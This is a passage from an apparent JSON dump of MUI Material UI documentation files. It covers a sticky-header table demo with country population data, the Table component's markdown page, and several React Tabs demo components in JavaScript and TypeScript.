    "content": "import * as React from 'react';\nimport Paper from '@mui/material/Paper';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableRow from '@mui/material/TableRow';\n\ninterface Column {\n  id: 'name' | 'code' | 'population' | 'size' | 'density';\n  label: string;\n  minWidth?: number;\n  align?: 'right';\n  format?: (value: number) => string;\n}\n\nconst columns: readonly Column[] = [\n  { id: 'name', label: 'Name', minWidth: 170 },\n  { id: 'code', label: 'ISO\\u00a0Code', minWidth: 100 },\n  {\n    id: 'population',\n    label: 'Population',\n    minWidth: 170,\n    align: 'right',\n    format: (value: number) => value.toLocaleString('en-US'),\n  },\n  {\n    id: 'size',\n    label: 'Size\\u00a0(km\\u00b2)',\n    minWidth: 170,\n    align: 'right',\n    format: (value: number) => value.toLocaleString('en-US'),\n  },\n  {\n    id: 'density',\n    label: 'Density',\n    minWidth: 170,\n    align: 'right',\n    format: (value: number) => value.toFixed(2),\n  },\n];\n\ninterface Data {\n  name: string;\n  code: string;\n  population: number;\n  size: number;\n  density: number;\n}\n\nfunction createData(\n  name: string,\n  code: string,\n  population: number,\n  size: number,\n): Data {\n  const density = population / size;\n  return { name, code, population, size, density };\n}\n\nconst rows = [\n  createData('India', 'IN', 1324171354, 3287263),\n  createData('China', 'CN', 1403500365, 9596961),\n  createData('Italy', 'IT', 60483973, 301340),\n  createData('United States', 'US', 327167434, 9833520),\n  createData('Canada', 'CA', 37602103, 9984670),\n  createData('Australia', 'AU', 25475400, 7692024),\n  createData('Germany', 'DE', 83019200, 357578),\n  createData('Ireland', 'IE', 4857000, 70273),\n  createData('Mexico', 'MX', 126577691, 1972550),\n  createData('Japan', 'JP', 126317000, 377973),\n  createData('France', 'FR', 67022000, 640679),\n  createData('United Kingdom', 'GB', 67545757, 242495),\n  createData('Russia', 'RU', 146793744, 17098246),\n  createData('Nigeria', 'NG', 200962417, 923768),\n  createData('Brazil', 'BR', 210147125, 8515767),\n];\n\nexport default function StickyHeadTable() {\n  const [page, setPage] = React.useState(0);\n  const [rowsPerPage, setRowsPerPage] = React.useState(10);\n\n  const handleChangePage = (event: unknown, newPage: number) => {\n    setPage(newPage);\n  };\n\n  const handleChangeRowsPerPage = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setRowsPerPage(+event.target.value);\n    setPage(0);\n  };\n\n  return (\n    <Paper sx={{ width: '100%', overflow: 'hidden' }}>\n      <TableContainer sx={{ maxHeight: 440 }}>\n        <Table stickyHeader aria-label=\"sticky table\">\n          <TableHead>\n            <TableRow>\n              {columns.map((column) => (\n                <TableCell\n                  key={column.id}\n                  align={column.align}\n                  style={{ minWidth: column.minWidth }}\n                >\n                  {column.label}\n                </TableCell>\n              ))}\n            </TableRow>\n          </TableHead>\n          <TableBody>\n            {rows\n              .slice(page * rowsPerPage, page * rowsPerPage + rowsPerPage)\n              .map((row) => {\n                return (\n                  <TableRow hover role=\"checkbox\" tabIndex={-1} key={row.code}>\n                    {columns.map((column) => {\n                      const value = row[column.id];\n                      return (\n                        <TableCell key={column.id} align={column.align}>\n                          {column.format && typeof value === 'number'\n                            ? column.format(value)\n                            : value}\n                        </TableCell>\n                      );\n                    })}\n                  </TableRow>\n                );\n              })}\n          </TableBody>\n        </Table>\n      </TableContainer>\n      <TablePagination\n        rowsPerPageOptions={[10, 25, 100]}\n        component=\"div\"\n        count={rows.length}\n        rowsPerPage={rowsPerPage}\n        page={page}\n        onPageChange={handleChangePage}\n        onRowsPerPageChange={handleChangeRowsPerPage}\n      />\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/table/table.md",
    "content": "---\nproductId: material-ui\ntitle: React Table component\ncomponents: Table, TableBody, TableCell, TableContainer, TableFooter, TableHead, TablePagination, TableRow, TableSortLabel\ngithubLabel: 'scope: table'\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/table/\nmaterialDesign: https://m2.material.io/components/data-tables\ngithubSource: packages/mui-material/src/Table\n---\n\n# Table\n\n<p class=\"description\">Tables display sets of data. They can be fully customized.</p>\n\nTables display information in a way that's easy to scan, so that users can look for patterns and insights. They can be embedded in primary content, such as cards. They can include:\n\n- A corresponding visualization\n- Navigation\n- Tools to query and manipulate data\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nTables are implemented using a collection of related components:\n\n- `<TableContainer />`: A wrapper that provides horizontally scrolling behavior for the `<Table />` component.\n- `<Table />`: The main component for the table element. Renders as a `<table>` by default.\n- `<TableHead />`: The container for the header row(s) of `<Table />`. Renders as a `<thead>` by default.\n- `<TableBody />`: The container for the body rows of `<Table />`. Renders as a `<tbody>` by default.\n- `<TableRow />`: A row in a table. Can be used in `<TableHead />`, `<TableBody />`, or `<TableFooter />`. Renders as a `<tr>` by default.\n- `<TableCell />`: A cell in a table. Can be used in `<TableRow />` . Renders as a `<th>` in `<TableHead />` and `<td>` in `<TableBody />` by default.\n- `<TableFooter />`: An optional container for the footer row(s) of the table. Renders as a `<tfoot>` by default.\n- `<TablePagination />`: A component that provides controls for paginating table data. See the ['Sorting & selecting' example](#sorting-selecting) and ['Custom Table Pagination Action' example](#custom-pagination-actions).\n- `<TableSortLabel />`: A component used to display sorting controls for column headers, allowing users to sort data in ascending or descending order. See the ['Sorting & selecting' example](#sorting-selecting).\n\n## Basic table\n\nA simple example with no frills.\n\n{{\"demo\": \"BasicTable.js\", \"bg\": true}}\n\n## Data table\n\nThe `Table` component has a close mapping to the native `<table>` elements.\nThis constraint makes building rich data tables challenging.\n\nThe [`DataGrid` component](/x/react-data-grid/) is designed for use-cases that are focused on handling large amounts of tabular data.\nWhile it comes with a more rigid structure, in exchange, you gain more powerful features.\n\n{{\"demo\": \"DataTable.js\", \"bg\": true}}\n\n## Dense table\n\nA simple example of a dense table with no frills.\n\n{{\"demo\": \"DenseTable.js\", \"bg\": true}}\n\n## Sorting & selecting\n\nThis example demonstrates the use of `Checkbox` and clickable rows for selection, with a custom `Toolbar`. It uses the `TableSortLabel` component to help style column headings.\n\nThe Table has been given a fixed width to demonstrate horizontal scrolling. In order to prevent the pagination controls from scrolling, the TablePagination component is used outside of the Table. (The ['Custom Table Pagination Action' example](#custom-pagination-actions) below shows the pagination within the TableFooter.)\n\n{{\"demo\": \"EnhancedTable.js\", \"bg\": true}}\n\n## Customization\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedTables.js\", \"bg\": true}}\n\n### Custom pagination options\n\nIt's possible to customize the options shown in the \"Rows per page\" select using the `rowsPerPageOptions` prop.\nYou should either provide an array of:\n\n- **numbers**, each number will be used for the option's label and value.\n\n  ```jsx\n  <TablePagination rowsPerPageOptions={[10, 50]} />\n  ```\n\n- **objects**, the `value` and `label` keys will be used respectively for the value and label of the option (useful for language strings such as 'All').\n\n  ```jsx\n  <TablePagination rowsPerPageOptions={[10, 50, { value: -1, label: 'All' }]} />\n  ```\n\n### Custom pagination actions\n\nThe `ActionsComponent` prop of the `TablePagination` component allows the implementation of custom actions.\n\n{{\"demo\": \"CustomPaginationActionsTable.js\", \"bg\": true}}\n\n## Sticky header\n\nHere is an example of a table with scrollable rows and fixed column headers.\nIt leverages the `stickyHeader` prop.\n\n{{\"demo\": \"StickyHeadTable.js\", \"bg\": true}}\n\n## Column grouping\n\nYou can group column headers by rendering multiple table rows inside a table head:\n\n```jsx\n<TableHead>\n  <TableRow />\n  <TableRow />\n</TableHead>\n```\n\n{{\"demo\": \"ColumnGroupingTable.js\", \"bg\": true}}\n\n## Collapsible table\n\nAn example of a table with expandable rows, revealing more information.\nIt utilizes the [`Collapse`](/material-ui/api/collapse/) component.\n\n{{\"demo\": \"CollapsibleTable.js\", \"bg\": true}}\n\n## Spanning table\n\nA simple example with spanning rows & columns.\n\n{{\"demo\": \"SpanningTable.js\", \"bg\": true}}\n\n## Virtualized table\n\nIn the following example, we demonstrate how to use [react-virtuoso](https://github.com/petyosi/react-virtuoso) with the `Table` component.\nIt renders 200 rows and can easily handle more.\nVirtualization helps with performance issues.\n\n{{\"demo\": \"ReactVirtualizedTable.js\", \"bg\": true}}\n\n## Accessibility\n\n(WAI tutorial: <https://www.w3.org/WAI/tutorials/tables/>)\n\n### Caption\n\nA caption functions like a heading for a table. Most screen readers announce the content of captions. Captions help users to find a table and understand what it's about and decide if they want to read it.\n\n{{\"demo\": \"AccessibleTable.js\", \"bg\": true}}\n"
  },
  {
    "path": "docs/data/material/components/tabs/AccessibleTabs1.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function AccessibleTabs1() {\n  const [value, setValue] = React.useState(0);\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        onChange={handleChange}\n        value={value}\n        aria-label=\"Tabs where selection follows focus\"\n        selectionFollowsFocus\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/AccessibleTabs1.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function AccessibleTabs1() {\n  const [value, setValue] = React.useState(0);\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        onChange={handleChange}\n        value={value}\n        aria-label=\"Tabs where selection follows focus\"\n        selectionFollowsFocus\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/AccessibleTabs1.tsx.preview",
    "content": "<Tabs\n  onChange={handleChange}\n  value={value}\n  aria-label=\"Tabs where selection follows focus\"\n  selectionFollowsFocus\n>\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n  <Tab label=\"Item Three\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/AccessibleTabs2.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function AccessibleTabs2() {\n  const [value, setValue] = React.useState(0);\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        onChange={handleChange}\n        value={value}\n        aria-label=\"Tabs where each tab needs to be selected manually\"\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/AccessibleTabs2.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function AccessibleTabs2() {\n  const [value, setValue] = React.useState(0);\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        onChange={handleChange}\n        value={value}\n        aria-label=\"Tabs where each tab needs to be selected manually\"\n      >\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/AccessibleTabs2.tsx.preview",
    "content": "<Tabs\n  onChange={handleChange}\n  value={value}\n  aria-label=\"Tabs where each tab needs to be selected manually\"\n>\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n  <Tab label=\"Item Three\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/BasicTabs.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nfunction CustomTabPanel(props) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <div\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`simple-tabpanel-${index}`}\n      aria-labelledby={`simple-tab-${index}`}\n      {...other}\n    >\n      {value === index && <Box sx={{ p: 3 }}>{children}</Box>}\n    </div>\n  );\n}\n\nCustomTabPanel.propTypes = {\n  children: PropTypes.node,\n  index: PropTypes.number.isRequired,\n  value: PropTypes.number.isRequired,\n};\n\nfunction a11yProps(index) {\n  return {\n    id: `simple-tab-${index}`,\n    'aria-controls': `simple-tabpanel-${index}`,\n  };\n}\n\nexport default function BasicTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box sx={{ borderBottom: 1, borderColor: 'divider' }}>\n        <Tabs value={value} onChange={handleChange} aria-label=\"basic tabs example\">\n          <Tab label=\"Item One\" {...a11yProps(0)} />\n          <Tab label=\"Item Two\" {...a11yProps(1)} />\n          <Tab label=\"Item Three\" {...a11yProps(2)} />\n        </Tabs>\n      </Box>\n      <CustomTabPanel value={value} index={0}>\n        Item One\n      </CustomTabPanel>\n      <CustomTabPanel value={value} index={1}>\n        Item Two\n      </CustomTabPanel>\n      <CustomTabPanel value={value} index={2}>\n        Item Three\n      </CustomTabPanel>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/BasicTabs.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\ninterface TabPanelProps {\n  children?: React.ReactNode;\n  index: number;\n  value: number;\n}\n\nfunction CustomTabPanel(props: TabPanelProps) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <div\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`simple-tabpanel-${index}`}\n      aria-labelledby={`simple-tab-${index}`}\n      {...other}\n    >\n      {value === index && <Box sx={{ p: 3 }}>{children}</Box>}\n    </div>\n  );\n}\n\nfunction a11yProps(index: number) {\n  return {\n    id: `simple-tab-${index}`,\n    'aria-controls': `simple-tabpanel-${index}`,\n  };\n}\n\nexport default function BasicTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box sx={{ borderBottom: 1, borderColor: 'divider' }}>\n        <Tabs value={value} onChange={handleChange} aria-label=\"basic tabs example\">\n          <Tab label=\"Item One\" {...a11yProps(0)} />\n          <Tab label=\"Item Two\" {...a11yProps(1)} />\n          <Tab label=\"Item Three\" {...a11yProps(2)} />\n        </Tabs>\n      </Box>\n      <CustomTabPanel value={value} index={0}>\n        Item One\n      </CustomTabPanel>\n      <CustomTabPanel value={value} index={1}>\n        Item Two\n      </CustomTabPanel>\n      <CustomTabPanel value={value} index={2}>\n        Item Three\n      </CustomTabPanel>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/BasicTabs.tsx.preview",
    "content": "<Box sx={{ borderBottom: 1, borderColor: 'divider' }}>\n  <Tabs value={value} onChange={handleChange} aria-label=\"basic tabs example\">\n    <Tab label=\"Item One\" {...a11yProps(0)} />\n    <Tab label=\"Item Two\" {...a11yProps(1)} />\n    <Tab label=\"Item Three\" {...a11yProps(2)} />\n  </Tabs>\n</Box>\n<CustomTabPanel value={value} index={0}>\n  Item One\n</CustomTabPanel>\n<CustomTabPanel value={value} index={1}>\n  Item Two\n</CustomTabPanel>\n<CustomTabPanel value={value} index={2}>\n  Item Three\n</CustomTabPanel>"
  },
  {
    "path": "docs/data/material/components/tabs/CenteredTabs.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\nexport default function CenteredTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%', bgcolor: 'background.paper' }}>\n      <Tabs value={value} onChange={handleChange} centered>\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/CenteredTabs.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\nexport default function CenteredTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%', bgcolor: 'background.paper' }}>\n      <Tabs value={value} onChange={handleChange} centered>\n        <Tab label=\"Item One\" />\n        <Tab label=\"Item Two\" />\n        <Tab label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/CenteredTabs.tsx.preview",
    "content": "<Tabs value={value} onChange={handleChange} centered>\n  <Tab label=\"Item One\" />\n  <Tab label=\"Item Two\" />\n  <Tab label=\"Item Three\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/ColorTabs.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function ColorTabs() {\n  const [value, setValue] = React.useState('one');\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        textColor=\"secondary\"\n        indicatorColor=\"secondary\"\n        aria-label=\"secondary tabs example\"\n      >\n        <Tab value=\"one\" label=\"Item One\" />\n        <Tab value=\"two\" label=\"Item Two\" />\n        <Tab value=\"three\" label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ColorTabs.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nexport default function ColorTabs() {\n  const [value, setValue] = React.useState('one');\n\n  const handleChange = (event: React.SyntheticEvent, newValue: string) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Tabs\n        value={value}\n        onChange={handleChange}\n        textColor=\"secondary\"\n        indicatorColor=\"secondary\"\n        aria-label=\"secondary tabs example\"\n      >\n        <Tab value=\"one\" label=\"Item One\" />\n        <Tab value=\"two\" label=\"Item Two\" />\n        <Tab value=\"three\" label=\"Item Three\" />\n      </Tabs>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/ColorTabs.tsx.preview",
    "content": "<Tabs\n  value={value}\n  onChange={handleChange}\n  textColor=\"secondary\"\n  indicatorColor=\"secondary\"\n  aria-label=\"secondary tabs example\"\n>\n  <Tab value=\"one\" label=\"Item One\" />\n  <Tab value=\"two\" label=\"Item Two\" />\n  <Tab value=\"three\" label=\"Item Three\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/CustomizedTabs.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nconst AntTabs = styled(Tabs)({\n  borderBottom: '1px solid #e8e8e8',\n  '& .MuiTabs-indicator': {\n    backgroundColor: '#1890ff',\n  },\n});\n\nconst AntTab = styled((props) => <Tab disableRipple {...props} />)(({ theme }) => ({\n  textTransform: 'none',\n  minWidth: 0,\n  [theme.breakpoints.up('sm')]: {\n    minWidth: 0,\n  },\n  fontWeight: theme.typography.fontWeightRegular,\n  marginRight: theme.spacing(1),\n  color: 'rgba(0, 0, 0, 0.85)',\n  fontFamily: [\n    '-apple-system',\n    'BlinkMacSystemFont',\n    '\"Segoe UI\"',\n    'Roboto',\n    '\"Helvetica Neue\"',\n    'Arial',\n    'sans-serif',\n    '\"Apple Color Emoji\"',\n    '\"Segoe UI Emoji\"',\n    '\"Segoe UI Symbol\"',\n  ].join(','),\n  '&:hover': {\n    color: '#40a9ff',\n    opacity: 1,\n  },\n  '&.Mui-selected': {\n    color: '#1890ff',\n    fontWeight: theme.typography.fontWeightMedium,\n  },\n  '&.Mui-focusVisible': {\n    backgroundColor: '#d1eaff',\n  },\n}));\n\nconst StyledTabs = styled((props) => (\n  <Tabs\n    {...props}\n    slotProps={{\n      indicator: { children: <span className=\"MuiTabs-indicatorSpan\" /> },\n    }}\n  />\n))({\n  '& .MuiTabs-indicator': {\n    display: 'flex',\n    justifyContent: 'center',\n    backgroundColor: 'transparent',\n  },\n  '& .MuiTabs-indicatorSpan': {\n    maxWidth: 40,\n    width: '100%',\n    backgroundColor: '#635ee7',\n  },\n});\n\nconst StyledTab = styled((props) => <Tab disableRipple {...props} />)(\n  ({ theme }) => ({\n    textTransform: 'none',\n    fontWeight: theme.typography.fontWeightRegular,\n    fontSize: theme.typography.pxToRem(15),\n    marginRight: theme.spacing(1),\n    color: 'rgba(255, 255, 255, 0.7)',\n    '&.Mui-selected': {\n      color: '#fff',\n    },\n    '&.Mui-focusVisible': {\n      backgroundColor: 'rgba(100, 95, 228, 0.32)',\n    },\n  }),\n);\n\nexport default function CustomizedTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box sx={{ bgcolor: '#fff' }}>\n        <AntTabs value={value} onChange={handleChange} aria-label=\"ant example\">\n          <AntTab label=\"Tab 1\" />\n          <AntTab label=\"Tab 2\" />\n          <AntTab label=\"Tab 3\" />\n        </AntTabs>\n        <Box sx={{ p: 3 }} />\n      </Box>\n      <Box sx={{ bgcolor: '#2e1534' }}>\n        <StyledTabs\n          value={value}\n          onChange={handleChange}\n          aria-label=\"styled tabs example\"\n        >\n          <StyledTab label=\"Workflows\" />\n          <StyledTab label=\"Datasets\" />\n          <StyledTab label=\"Connections\" />\n        </StyledTabs>\n        <Box sx={{ p: 3 }} />\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/CustomizedTabs.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Box from '@mui/material/Box';\n\nconst AntTabs = styled(Tabs)({\n  borderBottom: '1px solid #e8e8e8',\n  '& .MuiTabs-indicator': {\n    backgroundColor: '#1890ff',\n  },\n});\n\nconst AntTab = styled((props: StyledTabProps) => <Tab disableRipple {...props} />)(\n  ({ theme }) => ({\n    textTransform: 'none',\n    minWidth: 0,\n    [theme.breakpoints.up('sm')]: {\n      minWidth: 0,\n    },\n    fontWeight: theme.typography.fontWeightRegular,\n    marginRight: theme.spacing(1),\n    color: 'rgba(0, 0, 0, 0.85)',\n    fontFamily: [\n      '-apple-system',\n      'BlinkMacSystemFont',\n      '\"Segoe UI\"',\n      'Roboto',\n      '\"Helvetica Neue\"',\n      'Arial',\n      'sans-serif',\n      '\"Apple Color Emoji\"',\n      '\"Segoe UI Emoji\"',\n      '\"Segoe UI Symbol\"',\n    ].join(','),\n    '&:hover': {\n      color: '#40a9ff',\n      opacity: 1,\n    },\n    '&.Mui-selected': {\n      color: '#1890ff',\n      fontWeight: theme.typography.fontWeightMedium,\n    },\n    '&.Mui-focusVisible': {\n      backgroundColor: '#d1eaff',\n    },\n  }),\n);\n\ninterface StyledTabsProps {\n  children?: React.ReactNode;\n  value: number;\n  onChange: (event: React.SyntheticEvent, newValue: number) => void;\n}\n\nconst StyledTabs = styled((props: StyledTabsProps) => (\n  <Tabs\n    {...props}\n    slotProps={{\n      indicator: { children: <span className=\"MuiTabs-indicatorSpan\" /> },\n    }}\n  />\n))({\n  '& .MuiTabs-indicator': {\n    display: 'flex',\n    justifyContent: 'center',\n    backgroundColor: 'transparent',\n  },\n  '& .MuiTabs-indicatorSpan': {\n    maxWidth: 40,\n    width: '100%',\n    backgroundColor: '#635ee7',\n  },\n});\n\ninterface StyledTabProps {\n  label: string;\n}\n\nconst StyledTab = styled((props: StyledTabProps) => (\n  <Tab disableRipple {...props} />\n))(({ theme }) => ({\n  textTransform: 'none',\n  fontWeight: theme.typography.fontWeightRegular,\n  fontSize: theme.typography.pxToRem(15),\n  marginRight: theme.spacing(1),\n  color: 'rgba(255, 255, 255, 0.7)',\n  '&.Mui-selected': {\n    color: '#fff',\n  },\n  '&.Mui-focusVisible': {\n    backgroundColor: 'rgba(100, 95, 228, 0.32)',\n  },\n}));\n\nexport default function CustomizedTabs() {\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Box sx={{ bgcolor: '#fff' }}>\n        <AntTabs value={value} onChange={handleChange} aria-label=\"ant example\">\n          <AntTab label=\"Tab 1\" />\n          <AntTab label=\"Tab 2\" />\n          <AntTab label=\"Tab 3\" />\n        </AntTabs>\n        <Box sx={{ p: 3 }} />\n      </Box>\n      <Box sx={{ bgcolor: '#2e1534' }}>\n        <StyledTabs\n          value={value}\n          onChange={handleChange}\n          aria-label=\"styled tabs example\"\n        >\n          <StyledTab label=\"Workflows\" />\n          <StyledTab label=\"Datasets\" />\n          <StyledTab label=\"Connections\" />\n        </StyledTabs>\n        <Box sx={{ p: 3 }} />\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/DisabledTabs.js",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\nexport default function DisabledTabs() {\n  const [value, setValue] = React.useState(2);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Tabs value={value} onChange={handleChange} aria-label=\"disabled tabs example\">\n      <Tab label=\"Active\" />\n      <Tab label=\"Disabled\" disabled />\n      <Tab label=\"Active\" />\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/DisabledTabs.tsx",
    "content": "import * as React from 'react';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\n\nexport default function DisabledTabs() {\n  const [value, setValue] = React.useState(2);\n\n  const handleChange = (event: React.SyntheticEvent, newValue: number) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Tabs value={value} onChange={handleChange} aria-label=\"disabled tabs example\">\n      <Tab label=\"Active\" />\n      <Tab label=\"Disabled\" disabled />\n      <Tab label=\"Active\" />\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/DisabledTabs.tsx.preview",
    "content": "<Tabs value={value} onChange={handleChange} aria-label=\"disabled tabs example\">\n  <Tab label=\"Active\" />\n  <Tab label=\"Disabled\" disabled />\n  <Tab label=\"Active\" />\n</Tabs>"
  },
  {
    "path": "docs/data/material/components/tabs/FullWidthTabs.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { useTheme } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Tabs from '@mui/material/Tabs';\nimport Tab from '@mui/material/Tab';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\n\nfunction TabPanel(props) {\n  const { children, value, index, ...other } = props;\n\n  return (\n    <div\n      role=\"tabpanel\"\n      hidden={value !== index}\n      id={`full-width-tabpanel-${index}`}\n      aria-labelledby={`full-width-tab-${index}`}\n      {...other}\n    >\n      {value === index && (\n        <Box sx={{ p: 3 }}>\n          <Typography>{children}</Typography>\n        </Box>\n      )}\n    </div>\n  );\n}\n\nTabPanel.propTypes = {\n  children: PropTypes.node,\n  index: PropTypes.number.isRequired,\n  value: PropTypes.number.isRequired,\n};\n\nfunction a11yProps(index) {\n  return {\n    id: `full-width-tab-${index}`,\n    'aria-controls': `full-width-tabpanel-${index}`,\n  };\n}\n\nexport default function FullWidthTabs() {\n  const theme = useTheme();\n  const [value, setValue] = React.useState(0);\n\n  const handleChange = (event, newValue) => {\n    setValue(newValue);\n  };\n\n  return (\n    <Box sx={{ bgcolor: 'background.paper', width: 500 }}>\n      <AppBar position=\"static\">\n        <Tabs\n          value={value}\n          onChange={handleChange}\n          indicatorColor=\"secondary\"\n          textColor=\"inherit\"\n          variant=\"fullWidth\"\n          aria-label=\"full width tabs example\"\n        >\n          <Tab label=\"Item One\" {...a11yProps(0)} />\n          <Tab label=\"Item Two\" {...a11yProps(1)} />\n          <Tab label=\"Item Three\" {...a11yProps(2)} />\n        </Tabs>\n      </AppBar>\n      <TabPanel value={value} index={0} dir={theme.direction}>\n        Item One\n      </TabPanel>\n      <TabPanel value={value} index={1} dir={theme.direction}>\n        Item Two\n      </TabPanel>\n      <TabPanel value={value} index={2} dir={theme.direction}>\n        Item Three\n      </TabPanel>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/tabs/FullWidthTabs.tsx",
